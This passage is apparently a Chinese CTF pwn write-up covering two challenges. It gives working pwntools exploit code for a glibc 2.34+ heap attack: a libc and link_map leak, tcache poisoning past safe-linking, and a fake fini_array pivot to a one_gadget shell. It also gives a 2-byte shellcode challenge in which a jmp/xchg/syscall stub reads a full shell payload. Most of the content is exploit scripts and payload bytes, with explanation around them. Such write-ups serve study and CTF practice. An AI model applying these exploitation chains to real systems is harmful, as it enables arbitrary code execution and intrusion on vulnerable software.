edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
p.recv()
show()
rec = p.recv()
pos = rec.rfind(cyclic(8))
main_arena_addr = u64(rec[pos+30:pos+36] + b'\0\0')
print('main_arena: ' + hex(main_arena_addr))
main_arena_offset = 0x219CE0
free_hook_offset = 0x2204A8
libc_base_addr = main_arena_addr - main_arena_offset
print('libc: ' + hex(libc_base_addr))

(填入后半段 name 字段时有 [0:7] 是因为只 read 15 字节)

0x02 Leak _rtld_global._ns_loaded (link_map)

​ 到这里正常解法是利用上述任意写直接覆盖 malloc_hook 等,写入 one _gadget,卡了好久突然意识到 glibc 2.34 已移除各种 hook(😩),只好另辟蹊径。打 IO 没学过/太麻烦,现学了一个较简单的高版本打法(好像叫 House of Banana?)。

​ glibc 中链接了 ld.so 中的一个符号 _rtld_global,其保存不少用于动态链接的运行时信息。我们主要关注 _ns_loaded 字段(offset:0x00),这是一个结构体指针(链表),其指向的字段 l_addr(offset:0x00)保存了程序基址,通过分析 glibc exit(int) 函数源码发现,其执行中途会读取该字段并根据它寻找并执行 fini_array 中存储的函数(指针)。我们劫持 _ns_loaded,将其改为 堆上一可控地址 - fini_array 偏移量,再向该可控位置填入 one_gadget 即可。

​ 首先泄露地址。用类似 0x00 步的方法,泄露出 _rtld_global_ns_loaded 地址。(虽然网上许多文章都认为这两个地址以及 ld.so 即使开了 ASLR 也与 libc 有固定偏移,或本地与远程不同只需爆破两字节,但我经实验发现本地甚至每次执行都不同 🤔。)

Exp 2:

rt_ld_global = libc_base_addr + 0x21A878
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, cyclic(8) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, cyclic(8) + p64(rt_ld_global - 0x8)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
show()
rec = p.recv()
pos = rec.find(b'@')
_rtld_global_addr = u64(rec[pos:pos+6] + b'\0\0')
print('_rtld_global addr: ' + hex(_rtld_global_addr))
link_map_addr = _rtld_global_addr + 0x12A0

0x03 Tcache Bin Poisoning Arbitrary Write

​ 先随意 delete 一个 chunk 再 delete chunk3 。此时 chunk3 已进入 tcache bin 且后进先出(LIFO)。借助之前泄漏的堆地址右移 12 位对目标地址按位异或(混淆)绕过 safe-linking,并如法炮制修改 chunk3 tcache bin next 字段(原 chunk3 id)为混淆后的 &_ns_loaded - 0x10。第一次 add 使 tcache bin 中最后一个 chunk 的 next 字段指向目标,再次 add 分配新 chunk 至目标并将其修改为可控堆地址。但是在此之前,由于从 tcache bin 取出最后一个 chunk 时会先检查 unsorted bin,需要先恢复 fake_chunk1(在 unsorted bin 中)的 size,否则出错。

Exp 3:

chunk5_addr = chunk3_addr + 0x60
chunk6_addr = chunk5_addr + 0x30
fini_array_offset = 0x3D78
target = link_map_addr
fake_rt_ld_addr = chunk6_addr
print('target: ' + hex(target - 0x10))
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, p64(0x31) + p64(3)[0:7],cyclic(8) + p64(chunk3_addr)[0:2])
delete(4)
delete(3)
edit(51, p64(0x31) +
        p64(
            (target - 0x10) ^ (fake_chunk1_addr >> 12) # name (0x10)
        )[0:7],                                        # unsafe unlink
    cyclic(8) + p64(chunk5_addr)[0:2])
add(b'PWN!', b'PWN!')
add(cyclic(8) + p64(fake_rt_ld_addr + 0x8 - fini_array_offset)[0:7], p64(4)) # name (0x8)
edit(1, b'123', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(main_arena_addr)[0:7], p64(main_arena_addr))
edit(1, b'123', cyclic(8) + p64(chunk6_addr)[0:2])

(chunk 地址必须 0x10 对齐,否则从 tcache bin 取出 chunk 时出错,所以未选择偏移 0x08 刚好到达 name 字段。add 会破坏 _rt_global 结构不过好在不影响利用。)

0x04 Fake fini_array

​ 终于结束了。在对应位置写入 one_gadget,exit getshell。(🥳🎉)

Exp 4:

one_gadget = 0xebcf1
edit(6, p64(libc_base_addr + one_gadget), cyclic(8))
exitit()

p.interactive()

0xff Appendix

一张图:

                     +main--+                    
                     | ...  |                    
                     | size |                    
                     |  id1 |                    
                     |  na  |                    
                     |  me  |                    
                     | phone|                    
                     | next |                    
                     | size |                    
                     |  id2 | +fake0-+           
                     |  na  |-| size |           
            +fake1-+ |  me  |-| id50 |           
            | size |-| phone|-|  na  |           
unsort pos->| id51 |-| next |-|  me  |           
            |  na  |-| size |-| phone|           
            |  me  |-|  id3 |<| next |-tcache pos
            | phone|-|  na  | +------+           
            | next |-|  me  |                    
            +------+ | phone|                    
                     | next |                    
                     | size |                    
                     | ...  |                    
                     +------+                    

一些操作的封装:

def s():
    time.sleep(0.01)

def add(name: bytes, phone: bytes):
    p.sendline(b'1')
    s()
    p.send(name)
    s()
    p.send(phone)
    s()

def delete(index: int):
    p.sendline(b'2')
    s()
    p.sendline(str(index).encode())
    s()

def show():
    p.sendline(b'3')
    s()

def edit(index: int, name: bytes, phone: bytes):
    p.sendline(b'4')
    s()
    p.sendline(str(index).encode())
    s()
    p.send(name)
    s()
    p.send(phone)
    s()

def exitit():
    p.sendline(b'5')
    s()

(用 sendafter 更好,但是我总是遇到奇奇怪怪问题,懒得调了。)

参考资料

CTF Time - StrVec Writeup

CTF Wiki - Tcache attack

FreeBuf - GLIBC2.35有“HOOK”?带你打开高版本GLIBC漏洞利用的新世界

Pwn - 2 bytes

​ 分析程序发现用溢出绕过strcmp(...)检查后只有 2 字节(点题)shellcode 可用,另有 5 字节空间。枚举机器码发现 syscall 正好两字节(\x0f\x05),而且当前寄存器布局因为先前的mmap(...)调用和 mov eax, 0 ,很适合read系统调用,但是差一点,需要交换 rdxrsi 位置。折腾很久后发现可以先 jmp 0xfffffffffffffffb\xeb\xf9)至 passwd 开头处(-5),从而执行更多指令:xchg rdx, rsi\x48\x87\xf2)+ syscall。(加上 jmp 竟然正好 7 字节 😧)最后写入真正的 shellcode 即可。另外编写 Python 脚本绕过异或混淆。

Exp:

from pwn import *

context.terminal = ['konsole', '-e']
context(os='linux', bits=64, arch='amd64')

binary = './pwn'
p = process(binary)
elf = ELF(binary)

b'\x48\x87\xf2\x0f\x05\xeb\xf9'
def crack(sh: bytes):
    res: bytes = sh[:2]
    for i in range(5):
        for c in range(256):
            if sh[i + 2] == sh[i] ^ sh[i + 1] ^ c:
                res += c.to_bytes()
                break
    return res

def mangle(sh: bytes):
    for i in range(0, 5):
        sh = sh[:i + 2] + (sh[i] ^ sh[i + 1] ^ sh[i + 2]).to_bytes() + sh[i + 3:]
    return sh

def tryit(code: str):
    b = asm(code)
    b = b[0:2] + b'\0' + b[3:]
    print(disasm(b))

payload = b'H\x87=z\xf8\xe1\x17'
payload = payload + b'\0' + payload

p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()